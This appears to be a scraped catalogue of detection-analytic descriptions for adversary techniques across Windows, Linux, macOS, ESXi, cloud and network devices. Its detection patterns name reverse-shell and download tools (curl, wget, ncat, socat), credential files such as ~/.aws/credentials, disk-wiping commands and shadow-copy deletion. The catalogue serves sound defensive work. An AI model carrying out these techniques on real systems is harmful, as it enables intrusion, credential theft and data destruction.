Enumeration of local ESXi accounts using esxcli or vSphere API from unauthorized sessions.
Current version: 1.0
Description:
Exploitation of system or application vulnerability (e.g., CVE-based exploit) followed by service crash, restart, or repeated failure within a short time frame, impacting application/system availability.
Current version: 1.0
Description:
User or remote input triggers application crash or segmentation fault (e.g., SIGSEGV) with service recovery attempts, observed via audit logs and systemd journaling.
Current version: 1.0
Description:
Application crash or repeated restart cycle triggered by malformed input or exploit file, observed via unified logs and process crash monitoring.
Current version: 1.0
Description:
Cloud workload exploitation leads to repeated container, service, or VM termination/restart, typically associated with CVE-based crash triggers or fuzzed payloads.
Current version: 1.0
Description:
Adversary modifies GPO containers or files under SYSVOL using LDAP, ADSI, PowerShell (e.g., New-GPOImmediateTask) or GUI tools. This includes directory object changes (e.g., gPCFileSysPath), delegation assignments (SeEnableDelegationPrivilege), and SYSVOL file writes (ScheduledTasks.xml, GptTmpl.inf).
Current version: 1.0
Description:
Defender observes configuration changes on firewall/network appliance involving rule creation, modification, or deletion from abnormal management IPs or non-console channels (e.g., remote CLI, API). These are often correlated with a spike in previously blocked outbound traffic, unexpected allow-all rules, or bulk rule deletions. Behavior often follows unauthorized login, privilege escalation, or API abuse.
Current version: 1.0
Description:
Correlated file access to insecure credential files (e.g., .env, .xml, *.ps1) followed by suspicious process execution or authentication using retrieved credentials. Detected through Sysmon logs and Windows Security Event logs.
Current version: 1.0
Description:
File reads or process executions involving insecurely stored credential files (e.g., config files with password fields) by non-root or anomalous users followed by ssh authentication attempts.
Current version: 1.0
Description:
Terminal-based grep or open of plist/config files containing credentials, correlated with Keychain or system login attempts.
Current version: 1.0
Description:
Container processes accessing mounted secrets or configuration paths (e.g., /run/secrets, /mnt/config) followed by network access or credential use.
Current version: 1.0
Description:
Access to local credential/config files (e.g., ~/.aws/credentials) followed by metadata API calls or cloud role assumptions.
Current version: 1.0
Description:
Detection focuses on identifying unauthorized or anomalous changes to compute infrastructure components. Defender perspective: monitor for creation, deletion, or modification of instances, volumes, and snapshots outside of approved change management windows; correlate abnormal activity such as rapid snapshot creation followed by new instance mounts, or repeated infrastructure changes by rarely used accounts. Flagging activity linked to unusual geolocation, API client, or automation script is suspicious.
Current version: 1.0
Description:
Adversary ships a tampered application or update: an updater/installer (msiexec/setup/update.exe/vendor service) writes or replaces binaries; on first run it spawns scripts/shells or unsigned DLLs and beacons to non-approved update CDNs/hosts. Detection correlates: (1) process creation of installer/updater → (2) file metadata changes in program paths → (3) first-run children and module/signature anomalies → (4) outbound connections to unexpected hosts within a short window.
Current version: 1.0
Description:
A compromised package/update (deb/rpm/tarball/AppImage/vendor updater) is installed, writing/overwriting files in /usr/local/bin, /usr/bin, /opt, or ~/.local; first run executes unexpected shells/curl/wget and connects to unapproved hosts. Correlate package/updater execution → file writes/replace → first-run child processes → egress.
Current version: 1.0
Description:
A tampered app/pkg/notarized update is installed via installer, softwareupdated, Homebrew, or vendor updater; new Mach-O or bundle contents appear in /Applications, /Library, /usr/local or /opt/homebrew; first run spawns sh/zsh/osascript/curl and makes egress to unfamiliar domains; AMFI/Gatekeeper may log signature/notarization problems.
Current version: 1.0
Description:
Detects unauthorized additions of users or machine accounts to privileged local or domain groups (e.g., Administrators, Remote Desktop Users).
Current version: 1.0
Description:
Detects unexpected use of usermod, gpasswd, or direct modification of /etc/group to elevate user group membership.
Current version: 1.0
Description:
Detects use of dseditgroup or dscl to add users to privileged macOS groups (e.g., admin).
Current version: 1.0
Description:
Detection of inconsistencies between reported sensor health and actual process/service state. For example, Windows Defender tray icon/UI showing healthy status while corresponding Defender services (WinDefend, MsMpEng) are stopped or disabled. Correlates process creation events with missing or terminated security processes and spoofed health events.
Current version: 1.0
Description:
Monitoring for discrepancies between system daemon/service state and reported health messages (e.g., syslog shows AV/IDS daemon stopped, but spoofed messages claim it is still running). Detects userland processes impersonating AV/IDS command-line outputs or modifying log forwarding configurations.
Current version: 1.0
Description:
Detection of fake or spoofed macOS Security & Privacy GUIs showing healthy status after XProtect, Gatekeeper, or AV processes are disabled. Correlates user-space UI process creation with terminated or missing security daemons.
Current version: 1.0
Description:
Multi-event correlation of Registry creation under Active Setup with anomalous execution of processes at user logon. Behavioral patterns include creation/modification of HKLM Active Setup keys with non-standard StubPath values, followed by process execution from uncommon paths, unsigned binaries, or unusual parent-child lineage post-user login.
Current version: 1.0
Description:
Detection of browser-based or email client-driven file creation (often from temp directories) following navigation to or execution of HTML files containing JavaScript Blob APIs or base64 Data URLs, with follow-on execution of the dropped payload. Leveraging Sysmon EventID 15 to inspect Zone.Identifier ADS for HostUrl/ReferrerUrl indicators (e.g., HostUrl=about:internet). Optional: absence of a large HTTP download record for the same URL/client in proxy logs (suggests local assembly)
Current version: 1.0
Description:
Detection of browser-based downloads from HTML sources that trigger file creation in temp or user directories followed by execution of new files within short timeframes and suspicious parent-child lineage.
Current version: 1.0
Description:
Detection of HTML-based downloads via Safari/Chrome that create obfuscated files (e.g., .zip, .app, .js) in user directories and are followed by suspicious executions from preview or launch services.
Current version: 1.0
Description:
Detects suspicious execution of network monitoring tools (e.g., Wireshark, tshark, Microsoft Message Analyzer), driver loading indicative of promiscuous mode, or non-admin user privilege escalation to access NICs for capture.
Current version: 1.0
Description:
Correlates interface mode changes to promiscuous with execution of sniffing tools like tcpdump, tshark, or custom pcap libraries. Detects abnormal NIC configurations and unauthorized sniffing from non-root sessions.
Current version: 1.0
Description:
Detects enabling of interface sniffing via packet capture tools or AppleScript triggering tcpdump. Leverages Unified Logs and process lineage to identify suspicious use of pfctl, tcpdump, or libpcap libraries.
Current version: 1.0
Description:
Detects creation of traffic mirroring sessions (e.g., AWS VPC Traffic Mirroring, Azure vTAP) that redirect traffic from critical assets to other virtual instances, often followed by file creation or session establishment.
Current version: 1.0
Description:
Detects execution of capture commands via CLI (monitor capture, debug packet, etc.) or unauthorized CLI access followed by logging configuration changes on Cisco/Juniper/Arista gear.
Current version: 1.0
Description:
Adversaries create the 'Office Test\Special\Perf' registry key and specify a malicious DLL path that is auto-loaded when an Office application starts. This DLL is injected into the Office process memory space and can provide persistent execution without requiring macro enablement.
Current version: 1.0
Description:
Office application auto-loads a non-standard DLL during startup triggered via Office Test Registry key, often without macro warning banners. DLL persistence mechanism circumvents traditional macro defenses.
Current version: 1.0
Description:
Processes attempting raw disk access via \.\PhysicalDrive paths, abnormal file I/O to MBR/boot sectors, or loading of third-party drivers (e.g., RawDisk) that enable disk overwrite. Correlate process creation, privilege usage, and disk modification events within a short time window.
Current version: 1.0
Description:
Execution of destructive utilities (dd, shred, wipe) targeting block devices, or processes invoking syscalls to directly overwrite /dev/sd or /dev/nvme partitions. Correlate abnormal file write attempts with shell process execution and block device access.
Current version: 1.0
Description:
Abnormal invocation of diskutil or asr with destructive flags (eraseDisk, zeroDisk), or low-level IOKit calls that overwrite raw disk content. Detect correlation between elevated process execution and disk erase operations.
Current version: 1.0
Description:
Execution of CLI commands erasing file systems or storage (erase flash:, format disk, erase nvram:). Detect authentication events followed by destructive commands within the same privileged session.
Current version: 1.0
Description:
Unusual service stop events, termination of AV/EDR processes, registry modifications disabling security tools, and firewall/defender configuration changes. Correlate process creation with service stop requests and registry edits.
Current version: 1.0
Description:
Execution of commands that stop or kill processes associated with logging or security daemons (auditd, syslog, falco). Detect modifications to iptables or disabling SELinux/AppArmor enforcement. Correlate sudo/root context with abrupt service halts.
Current version: 1.0
Description:
Execution of commands or APIs that disable Gatekeeper, XProtect, or system integrity protections. Detect configuration changes through unified logs. Monitor termination of system security daemons (e.g., syspolicyd).
Current version: 1.0
Description:
Modification of container runtime security profiles (AppArmor, seccomp) or removal of monitoring agents within containers. Detect unauthorized mounting/unmounting of host /proc or /sys to disable logging or auditing.
Current version: 1.0
Description:
Unusual ESXi shell commands disabling syslog forwarding or stopping hostd/vpxa daemons. Detect modifications to firewall rules on ESXi host or disabling of lockdown mode.
Current version: 1.0
Description:
Cloud control plane actions disabling security services (CloudTrail logging, GuardDuty, Security Hub). Detect IAM role abuse correlating with service disable events.
Current version: 1.0
Description:
Changes to security configurations such as disabling MFA requirements, reducing session token lifetimes, or turning off risk-based policies. Correlate admin logins with sudden policy downgrades.
Current version: 1.0
Description:
Execution of commands disabling AAA, logging, or security features on routers/switches. Detect privilege escalation followed by config changes that disable defense mechanisms.
Current version: 1.0
Description:
Disabling of security macros or safe mode settings within Word/Excel/Outlook. Detect registry edits or configuration file changes that weaken macro enforcement.
Current version: 1.0
Description:
Processes such as PowerShell, Git, or curl initiating outbound HTTPS POST requests to known code repository APIs (e.g., github.com, gitlab.com) immediately following large file reads. Defender view: correlation between file access of sensitive directories (e.g., Documents, Finance) and abnormal data uploads to repository domains.
Current version: 1.0
Description:
Processes like git, curl, or python scripts executing commands that package files (tar, gzip) followed by HTTPS uploads to code repository endpoints. Defender view: detect unusual git push activity or scripted HTTPS requests outside normal developer work hours.
Current version: 1.0
Description:
Office or scripting applications initiating unusual HTTPS traffic to code repository APIs with high outbound-to-inbound ratios. Defender perspective: monitor for sensitive file access in combination with network connections to github.com, gitlab.com, or bitbucket.org.
Current version: 1.0
Description:
ESXi host processes (vmx, hostd) initiating HTTPS sessions toward external code repositories. Defender perspective: detect datastore reads followed by outbound web traffic inconsistent with administrative baselines.
Current version: 1.0
Description:
Adversaries create user accounts via identity provider APIs or admin portals (e.g., Azure AD, Okta). These accounts may be assigned elevated privileges or used in chained authentication. Detection monitors Add User activity from suspicious IPs or automation sources, followed by role/permission escalation.
Current version: 1.0
Description:
Adversaries use cloud API, CLI, or console to create IAM users or roles. Initial CreateUser is followed by policy/role attachment. Detection monitors temporal chains involving IAM:CreateUser, AttachUserPolicy, and credential generation, especially from automation or foreign IP ranges.
Current version: 1.0
Description:
Adversaries create SaaS accounts via admin dashboards or integrations (e.g., Zoom, Salesforce, Slack). Monitor lifecycle.create or account provisioning events from non-standard sources or times.
Current version: 1.0
Description:
Adversaries leverage M365 or Google Workspace APIs to create users, service accounts, or guest accounts. Follow-on behaviors include login activity, role escalation, or service principal token generation.
Current version: 1.0
Description:
Detects usage of commands or binaries (e.g., netstat, PowerShell Get-NetTCPConnection) and WMI or API calls to enumerate local or remote network connections.
Current version: 1.0
Description:
Detects use of netstat, ss, lsof, or custom shell scripts to list current network connections. Often paired with privilege escalation or staging.
Current version: 1.0
Description:
Detects shell-based enumeration of active connections using netstat, lsof -i, or AppleScript-based system discovery.
Current version: 1.0
Description:
Detects shell or API usage of esxcli network ip connection list or netstat to enumerate ESXi host connections.
Current version: 1.0
Description:
Detects interactive or automated use of CLI commands like show ip sockets, show tcp brief, or SNMP queries for active sessions on routers/switches.
Current version: 1.0
Description:
Detects enumeration of cloud network interfaces, VPCs, subnets, or peer connections using CLI or SDKs (e.g., AWS CLI, Azure CLI, GCloud CLI).
Current version: 1.0
Description:
Unusual execution of virtualization binaries (VBoxManage.exe, vmware-vmx.exe, vmwp.exe) with headless or suppressed notification arguments. Registry and service modifications linked to virtualization installs. Defender view: anomalies in process creation, service metadata, and registry writes tied to enabling hidden VMs.
Current version: 1.0
Description:
Execution of QEMU, KVM, or VirtualBox processes with unusual flags (e.g., '-nographic', '-snapshot'). File creation of VM images in atypical directories. Defender view: monitoring audit logs for process executions and file modifications linked to hidden virtualization.
Current version: 1.0
Description:
Execution of virtualization binaries (Parallels, VMware Fusion, VirtualBox) with arguments to hide UI. File monitoring for plist modifications indicating hidden virtualization behavior. Defender perspective: tracking process lineage and file modifications in system configs.
Current version: 1.0
Description:
Direct execution of /bin/vmx or presence of rogue .vmx files not registered in vCenter inventory. Defender perspective: anomalous commands in shell history, edits to rc.local.d/local.sh for persistence.
Current version: 1.0
Description:
Detects the presence of executables with high NOP padding, unusually large binary size for their function, and follow-on execution or memory injection from such files, especially when originating from temp or user-space paths.
Current version: 1.0
Description:
Detects ELF binaries written to disk that demonstrate anomalous file size or entropy, quickly followed by execution or memory region writes into remote processes (e.g., using ptrace).
Current version: 1.0
Description:
Identifies Mach-O binaries dropped into temporary directories with abnormally high binary size or padding patterns, followed by privilege escalation, exec, or memory mapping of other processes.
Current version: 1.0
Description:
Detection of anomalous driver and firmware interactions, including unsigned or unexpected firmware updates, driver loads linked to hardware components, and suspicious use of privileged APIs to read/write firmware or controller memory.
Current version: 1.0
Description:
Detection of suspicious use of ioctl/sysfs calls to access device firmware, unexpected flashing tools execution, and anomalous firmware checksums logged by SMART or kernel audit mechanisms.
Current version: 1.0
Description:
Detection of EFI/firmware manipulation attempts via abnormal driver loads, unsigned kexts, or tampered NVRAM variables associated with component firmware configuration.
Current version: 1.0
Description:
Identifies self-modifying executables that exhibit changes in binary hash, entropy, or memory sections during or between executions—often tied to dynamic unpacking or decryption behaviors.
Current version: 1.0
Description:
Detects files or processes where execution results in frequent re-creation or modification of ELF binaries or interpreter scripts, often using chmod + execve with abnormal entropy.
Current version: 1.0
Description:
Tracks modification of executables or interpreter payloads (e.g., Mach-O, dylib) that mutate across runs—using scripting engines, JIT compilers, or side-loaded plugins.
Current version: 1.0
Description:
Unusual process (e.g., rundll32, mshta, wscript, or custom payloads) initiates network connection to external IPs/domains that proxy C2 traffic, often over uncommon ports or high entropy HTTP/S connections.
Current version: 1.0
Description:
curl, wget, ncat, socat, or custom binaries initiate outbound traffic to Internet-based proxies (e.g., via VPS or CDN). Behavior may include reverse shell constructs or persistent outbound beacons.
Current version: 1.0
Description:
AppleScript or terminal sessions launch tools (curl, nc, ssh) to external IPs not commonly accessed. Outbound connections are made by LaunchAgents/LaunchDaemons, often masquerading as system services.
Current version: 1.0
Description:
ESXi shell or guest VM tools initiate external connections via scripted traffic forwarding to Internet-based proxies. Detected by firewall or shell audit logs showing outbound connection spikes from hypervisor or guest VM to remote proxy nodes.
Current version: 1.0
Description:
Changes to NAT/firewall policies enabling outbound port forwarding from internal IPs to Internet-based proxy endpoints. Log spikes in outbound flows to CDN, VPS, or anomalous ASNs with few return packets.
Current version: 1.0
Description:
A process/script constructs or references a custom/alphabet translation table (e.g., 64/85/32+ arbitrary chars, XOR/base-N loops) or emits long high-entropy strings that do NOT validate as standard Base64/Hex → shortly after, the same process (or its child) generates outbound traffic with asymmetric bytes_out:bytes_in, fixed-size beacons, or protocol/header mismatches (e.g., Content-Type says JSON but body fails JSON parse / contains non-standard alphabet).
Current version: 1.0
Description:
Shell scripts or binaries implement custom mapping tables (tr/sed/awk/golang/rust/python encode loops), or emit long high-entropy tokens that fail Base64/Hex validation → correlated with egress showing asymmetric flow, protocol-mismatch payloads, or DNS/HTTP bodies containing low-diversity-but-long custom alphabets.
Current version: 1.0
Description:
EndpointSecurity/Unified Logs show processes generating custom alphabets or long high-entropy, non-standard tokens → network logs (PF/Zeek/EDR) show asymmetric beacons, protocol mismatches, or periodic fixed-size posts.
Current version: 1.0
Description:
ESXi shell or scripts produce long, high-entropy tokens (non-standard alphabets) in shell.log/hostd, followed by outbound flows (NSX/Zeek) with asymmetric ratios or protocol mismatches to non-management endpoints.
Current version: 1.0
Description:
Remote Desktop (RDP) logon by a user followed by unusual process execution, file access, or lateral movement activity within a short timeframe.
Current version: 1.0
Description:
Execution of CMSTP.exe with arguments pointing to suspicious or remote INF/SCT/DLL payloads, optionally followed by outbound network connections to untrusted IPs, process injection via COM interfaces (CMSTPLUA, CMLUAUTIL), registry modifications registering malicious profiles, or creation of suspicious INF/DLL/SCT files prior to execution.
Current version: 1.0
Description:
Process chains that use native utilities (vssadmin, wbadmin, diskshadow, bcdedit, REAgentC, wmic) with arguments to delete shadow copies, disable recovery, or remove backup catalogs
Current version: 1.0
Description:
Shell utilities or scripts deleting /etc/systemd/system/rescue.target, /etc/fstab backups, or /boot/efi partitions; chattr used to block snapshot auto-recovery
Current version: 1.0
Description:
ESXi shell or vim-cmd execution that deletes all VM snapshots using vmsvc/snapshot.removeall or rm on snapshot paths
Current version: 1.0
Description:
Execution of erase, format, and reload in immediate sequence from a privileged AAA session
Current version: 1.0
Description:
Cloud API calls disabling snapshot scheduling, backup policies, versioning, followed by DeleteSnapshot/DeleteVolume operations
Current version: 1.0
Description:
Correlation of package install event with execution of postinstall scripts containing unknown binaries or abnormal CLI usage. Look for /usr/sbin/installer execution followed by child processes originating from postinstall script.
Current version: 1.0
Description:
Detection of maintainer scripts (e.g., postinst, preinst) being modified or executed during dpkg or rpm operations. Watch for script content that spawns additional processes or writes outside package scope.
Current version: 1.0
Description:
Detection of msiexec.exe running installer packages that result in anomalous process creation. Look for unexpected binaries executed by msiexec or custom action DLLs in the temp directory.
Current version: 1.0
Description:
Detects the use of message-based injection by monitoring for sequences involving FindWindow (EnumWindows or EnumChildWindows), VirtualAllocEx or related API calls, combined with suspicious PostMessage/SendMessage (e.g., LVM_SETITEMPOSITION) use to SysListView32 controls, followed by LVM_SORTITEMS invocation instead of WriteProcessMemory.
Current version: 1.0
Description:
Detects execution of AutoHotKey or AutoIT interpreters or compiled scripts used for unauthorized automation, command execution, or payload delivery, correlated with anomalous process lineage, command-line arguments, or script creation events.
Current version: 1.0
Description:
Detects creation of scheduled tasks via at.exe or WMI Win32_ScheduledJob class, followed by execution of anomalous processes by svchost.exe or taskeng.exe.
Current version: 1.0
Description:
Detects usage of at command to schedule jobs, followed by job execution and modification of job files under /var/spool/cron/atjobs.
Current version: 1.0
Description:
Detects user or root invocation of at command to schedule a job, followed by job execution using LaunchServices and activity in /usr/lib/cron/at.
Current version: 1.0
Description:
Implantation of malicious code into container images followed by registry push and use in new deployments.
Current version: 1.0
Description:
Creation or modification of cloud virtual machine images (AMIs, custom images) with persistence mechanisms, followed by infrastructure provisioning that uses these implanted images.
Current version: 1.0
Description:
Detects anomalous use of macOS XPC services for code execution. Monitors for processes invoking privileged XPC daemons with abnormal parameters, unexpected binaries communicating over NSXPCConnection, or helper tools executing code outside of their expected parent process lineage. Correlates process access attempts to system-level daemons, privilege escalations via XPC misconfigurations, and injection of malicious payloads through inter-process communication.
Current version: 1.0
Description:
Monitors for unexpected modifications of system or application binaries, particularly signed executables. Correlates file write events with subsequent unsigned or anomalously signed process execution, and checks for tampered binaries outside normal patch cycles.
Current version: 1.0
Description:
Detects modification of system or application binaries by monitoring /usr/bin, /bin, and other privileged directories. Correlates file integrity monitoring (FIM) events with unexpected process executions or service restarts.
Current version: 1.0
Description:
Monitors binary modification in /Applications and system library paths. Detects unsigned or improperly signed binaries executed after modification. Tracks Gatekeeper or notarization bypass attempts tied to modified binaries.
Current version: 1.0
Description:
Detects unauthorized modification of host binaries, modules, or services within ESXi. Correlates tampered files with subsequent unexpected service behavior or malicious module load attempts.
Current version: 1.0
Description:
Defenders can detect suspicious reversion of cloud compute instances by monitoring for unusual snapshot restores, rollback actions, or ephemeral storage resets that occur outside expected administrative workflows. From a defender’s perspective, relevant detection chains include: a snapshot restore triggered by a new or rarely used account, a sequence of snapshot creation immediately followed by a restore and instance start, or rollbacks performed from anomalous geographic or network locations. These patterns may indicate attempts to remove forensic evidence or re-establish a clean execution state for persistence.
Current version: 1.0
Description:
Use of stolen Kerberos tickets or token impersonation resulting in logon sessions from accounts without expected interactive logon events.
Current version: 1.0
Description:
Access tokens or SSH keys used without corresponding login shell or PAM module activity, particularly for remote execution.
Current version: 1.0
Description:
Token replay or impersonation in federated logins without interactive browser session or MFA prompts.
Current version: 1.0
Description:
Unusual reuse of OAuth access tokens from different geographic regions, without full login events.
Current version: 1.0
Description:
Container process uses mounted cloud credentials or token cache to authenticate without known orchestration.
Current version: 1.0
Description:
Access token reuse to connect to SharePoint or Outlook APIs without interactive user context.
Current version: 1.0
Description:
Use of instance metadata tokens across instances or misuse of short-lived tokens issued for different roles.
Current version: 1.0
Description:
Defenders may observe unauthorized modifications to encryption-related configuration files, firmware, or crypto modules on network devices. Suspicious patterns include changes to cipher suite configurations, unexpected firmware updates affecting crypto libraries, disabling of hardware cryptographic accelerators, or reductions in key length policies. Correlating configuration changes with anomalies in encrypted traffic characteristics (e.g., weaker ciphers or sudden plaintext transmission) strengthens detection.
Current version: 1.0
Description:
A user is socially engineered (web page, email, document) to open Run/PowerShell/CMD and paste an obfuscated one-liner. The chain is: (1) user context active in a browser/email/office app → (2) process creation of a command interpreter with suspicious arguments (base64/Invoke-Expression/web download/pipeline to shell) → (3) optional file drop in %TEMP% or %APPDATA% → (4) outbound network connection to an external domain. Events are correlated within a short window and with consistent user/session.
Current version: 1.0
Description:
User pastes a multi-line or one-liner into a terminal (bash/zsh) that downloads/decodes and executes content. Chain: terminal exec of curl/wget/bash/sh with pipe to interpreter or base64-decode → transient file under /tmp|~/.cache → immediate outbound egress.
Current version: 1.0
Description:
User pastes an obfuscated command into Terminal.app/iTerm2 that decodes or downloads code and executes. Detects Terminal/iTerm2 spawning bash/zsh/python with suspicious pipeline/base64 patterns followed by file writes in ~/Library or /tmp and outbound network connections.
Current version: 1.0
Description:
Detection of clipboard access via OS utilities (e.g., clip.exe, Get-Clipboard) by non-interactive or abnormal parent processes, potentially chained with staging or exfiltration commands.
Current version: 1.0
Description:
Detection of pbpaste/pbcopy clipboard access by processes without terminal sessions or linked to launch agents, potentially staged for collection.
Current version: 1.0
Description:
Detection of xclip or xsel access to clipboard buffers outside of user terminal context, especially when chained to staging (gzip, base64) or network exfiltration (curl, scp).
Current version: 1.0
Description:
Execution of hh.exe to open a .chm file followed by suspicious child processes or script engine invocation (VBScript, JScript, mshta, powershell). Behavior includes loading a CHM file from untrusted locations, or immediately spawning commands indicative of payload execution.
Current version: 1.0
Description:
High-volume packet generation by local processes (e.g., PowerShell, cmd, curl.exe) or network service processes resulting in excessive outbound traffic over short time window, correlated with abnormal resource usage or degraded host responsiveness.
Current version: 1.0
Description:
Kernel or userland processes generating high-rate network traffic (ICMP, UDP, TCP SYN) beyond expected interface throughput or user behavior norms.
Current version: 1.0
Description:
Excessive outbound traffic via ping, curl, or custom scripts indicating flooding behavior, especially with no UI context or user interaction.
Current version: 1.0
Description:
VM or cloud instance generating anomalously high network egress targeting same destination IP or service, especially using stateless protocols.
Current version: 1.0
Description:
Detects abuse of fileless storage mechanisms such as Registry keys, WMI classes, and Event Logs used to stage payloads, scripts, or encoded content outside traditional files.
Current version: 1.0
Description:
Detects usage of shared memory directories (/dev/shm, /run/shm) for temporary storage of obfuscated, encoded, or executable data without persistence to disk.
Current version: 1.0
Description:
Correlate registry modifications (e.g., UAC bypass registry keys), unusual parent-child process relationships (e.g., control.exe spawning cmd.exe), and unsigned elevated process executions with non-standard tokens or elevation flags.
Current version: 1.0
Description:
Monitor audit logs for setuid/setgid bit changes, executions where UID ≠ EUID (indicative of sudo or privilege escalation), and high-integrity binaries launched by unprivileged users.
Current version: 1.0
Description:
Detect execution of /usr/libexec/security_authtrampoline or use of AuthorizationExecuteWithPrivileges API, and monitor process lineage for unusual launches of GUI apps with escalated privileges.
Current version: 1.0
Description:
Monitor for unexpected privilege elevation operations via SAML assertion manipulation, role injection, or changes to identity mappings that result in access escalation.
Current version: 1.0
Description:
Detect sudden privilege escalations such as IAM role changes, user-assigned privilege boundaries, or elevation via assumed roles beyond normal behavior.
Current version: 1.0
Description:
Unusual use of screen capture APIs (e.g., CopyFromScreen) or command-line tools to write image files to disk.
Current version: 1.0
Description:
Invocation of built-in commands like screencapture or use of undocumented APIs from suspicious parent processes.
Current version: 1.0
Description:
Use of tools like xwd or import to generate screenshots, especially under non-GUI parent processes.
Current version: 1.0
Description:
Detects processes or binaries executed from trusted directories (e.g., System32) or using trusted names (e.g., svchost.exe) where the metadata, hash, or parent process does not align with legitimate activity patterns.
Current version: 1.0
Description:
Detects renamed binaries or scripts placed into trusted paths like /usr/bin or /lib with mismatched metadata or unexpected creation/modification times.
Current version: 1.0
Description:
Detects binaries or launch daemons in /System/Library or /Applications with mismatched bundle names, unexpected metadata, or improper installation origin.
Current version: 1.0
Description:
Detects malicious containers or pods using names, labels, or namespaces that mimic legitimate workloads; also checks for image layer mismatches and unauthorized resource deployments.
Current version: 1.0
Description:
Detects VIBs, scripts, or binaries placed into directories like /bin or /etc/vmware with names mimicking standard ESXi components. Also monitors unauthorized creation of services.
Current version: 1.0
Description:
Identifies suspicious outbound traffic volume mismatches from processes that typically do not generate network activity, particularly over C2 protocols like HTTPS, DNS, or custom TCP/UDP ports, following file or data access.
Current version: 1.0
Description:
Monitors for processes reading sensitive files then immediately initiating unusual outbound connections or bulk transfer sessions over persistent sockets, particularly with encrypted or binary payloads.
Current version: 1.0
Description:
Detects unauthorized applications or scripts accessing sensitive data followed by establishing encrypted outbound communication to rare external destinations or with abnormal byte ratios.
Current version: 1.0
Description:
Detects VMs sending outbound traffic through non-standard services or to unknown destinations. Exfiltration over reverse shells tunneled via VMkernel or custom payloads routed via hostd/vpxa.
Current version: 1.0
Description:
Detect suspicious file creations and process executions triggered by browser activity (e.g., injected payloads written to %AppData% or Temp directories, then executed). Correlate network anomalies with subsequent local process creation or script execution.
Current version: 1.0
Description:
Detect curl/wget commands saving executable/script payloads to /tmp or /var/tmp followed by execution. Monitor packet captures or IDS/IPS alerts for injected responses or mismatched content types.
Current version: 1.0
Description:
Monitor unified logs for processes spawned from Safari or other browsers that immediately load scripts or executables. Detect file drops in ~/Library/Caches or ~/Downloads that execute shortly after being written.
Current version: 1.0
Description:
Detection of processes launching downgraded PowerShell versions (e.g., v2) or other legacy binaries that lack logging or security features. Correlates command-line arguments, process metadata, and version fields. Monitors registry changes to Defender or HVCI keys that could indicate intentional downgrades.
Current version: 1.0
Description:
Monitors execution of older or legacy interpreters (e.g., python2, bash with restricted history logging), downgrade of TLS/SSL configurations, or forced fallback to unencrypted protocols. Detects suspicious reconfiguration of kernel modules or boot loaders to reduce integrity controls.
Current version: 1.0
Description:
Detection of execution of legacy scripting runtimes (e.g., older versions of Python, Bash, or PowerShell Core) lacking auditing. Monitoring for changes to EFI or system boot files indicative of downgrade-based persistence or bypass of integrity features.
Current version: 1.0
Description:
Linux permission escalation behavioral chain: (1) Process creation of permission modification utilities (chmod, chown, chgrp, setfacl) with suspicious parameters indicating privilege escalation intent, (2) System call analysis revealing direct file metadata manipulation (chmod, fchmod, chown, fchown syscalls), (3) Extended attribute and ACL modifications targeting critical system paths, (4) Temporal correlation with subsequent file access or process execution from modified locations, (5) Anomalous permission patterns deviating from system baselines
Current version: 1.0
Description:
macOS permission and attribute manipulation behavioral chain: (1) Process execution of permission utilities (chmod, chown, chgrp) or macOS-specific tools (chflags) with suspicious parameters, (2) System Integrity Protection (SIP) bypass attempts through permission modifications, (3) File flags manipulation (uchg, schg, hidden) for evasion or persistence, (4) Extended attribute (xattr) modifications affecting security metadata, (5) Unified log correlation with file system events and subsequent access patterns, (6) Gatekeeper and code signing bypass through permission/attribute manipulation
Current version: 1.0
Description:
Detects unauthorized Kerberos ticket injection by correlating service ticket (TGS - 4769) requests with absent corresponding account logons (4624) and prior Ticket Granting Ticket (TGT - 4768) activity. Highlights anomalous service ticket generation chains involving unexpected users, hosts, or times, and suspicious injection of tickets via mimikatz-like tooling into LSASS memory. Behavior also includes network lateral movement using Kerberos authentication absent expected interactive logon patterns.
Current version: 1.0
Description:
Registry modifications to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList setting user visibility to 0, or creation of user accounts not shown on login screen. Defender view: correlation of account creation with registry edits that mark users hidden.
Current version: 1.0
Description:
Use of gsettings or direct Display Manager modifications to hide users from greeter login screen. Defender view: anomalous command execution modifying org.gnome.login-screen or other greeter configurations.
Current version: 1.0
Description:
User creation or modification via dscl with IsHidden=1, UID<500, or plist edits to com.apple.loginwindow Hide500Users flag. Defender view: correlation of hidden account attributes with login screen exclusion.
Current version: 1.0
Description:
Unusual or unauthorized external remote access attempts (e.g., RDP, VPN, Citrix) → repeated failed logins followed by a successful session from uncommon geolocations or outside business hours → subsequent internal lateral movement or data exfiltration activities.
Current version: 1.0
Description:
Repeated SSH, VPN, or RDP gateway authentication attempts from external IPs → subsequent successful logon → remote shell or lateral movement activity (e.g., scp/sftp).
Current version: 1.0
Description:
Unexpected inbound or outbound VNC/SSH/Screen Sharing connections from external sources → repeated failed logins followed by success → remote interactive sessions or abnormal file transfers.
Current version: 1.0
Description:
Connections to exposed container services (e.g., Docker API, Kubernetes API server) from unauthorized external IPs → abnormal container creation/start → lateral activity within cluster nodes.
Current version: 1.0
Description:
Detect abnormally high volume of inbound email messages or repetitive attachments being delivered to a single mailbox within a short time window. Defenders should look for anomalous spikes in message counts and repetitive attachment file creation events correlated with targeted users.
Current version: 1.0
Description:
Monitor mail server logs (e.g., Postfix, Sendmail) for excessive connections or inbound message counts targeting a single recipient. Correlate with repetitive attachment storage in /var/mail or /var/spool/mail directories.
Current version: 1.0
Description:
Detect abnormal use of email clients (e.g., Outlook, Thunderbird) showing mass arrival of messages or repetitive attachments being locally stored. Correlate message volume with file creation activity in mail cache directories.
Current version: 1.0
Description:
Monitor unified logs and Mail.app activity for repetitive incoming messages with attachments. Defenders should look for large volumes of incoming mail stored under ~/Library/Mail with unusual timing or repetitive subjects.
Current version: 1.0
Description:
Burst of incomplete TCP handshakes (e.g., SYN floods) or uncorrelated ACK packets targeting the state table resulting in OS resource exhaustion.
Current version: 1.0
Description:
Flood of spoofed SYN or ACK packets causing exhaustion of OS TCP state table, potentially via user-space utilities or kernel-level DoS agents.
Current version: 1.0
Description:
Adversary tool/script issuing mass SYN/ACK floods that degrade OS responsiveness and interrupt service response on macOS endpoints.
Current version: 1.0
Description:
Execution of utilities (e.g., ping, tracert, Test-NetConnection) or scripted methods to test Internet connectivity by interacting with external IPs/domains.
Current version: 1.0
Description:
Execution of ping, traceroute, or curl/wget against public IPs/domains to verify Internet reachability.
Current version: 1.0
Description:
Execution of ping, traceroute, or network utility tools to external destinations; may include scutil or system_profiler.
Current version: 1.0
Description:
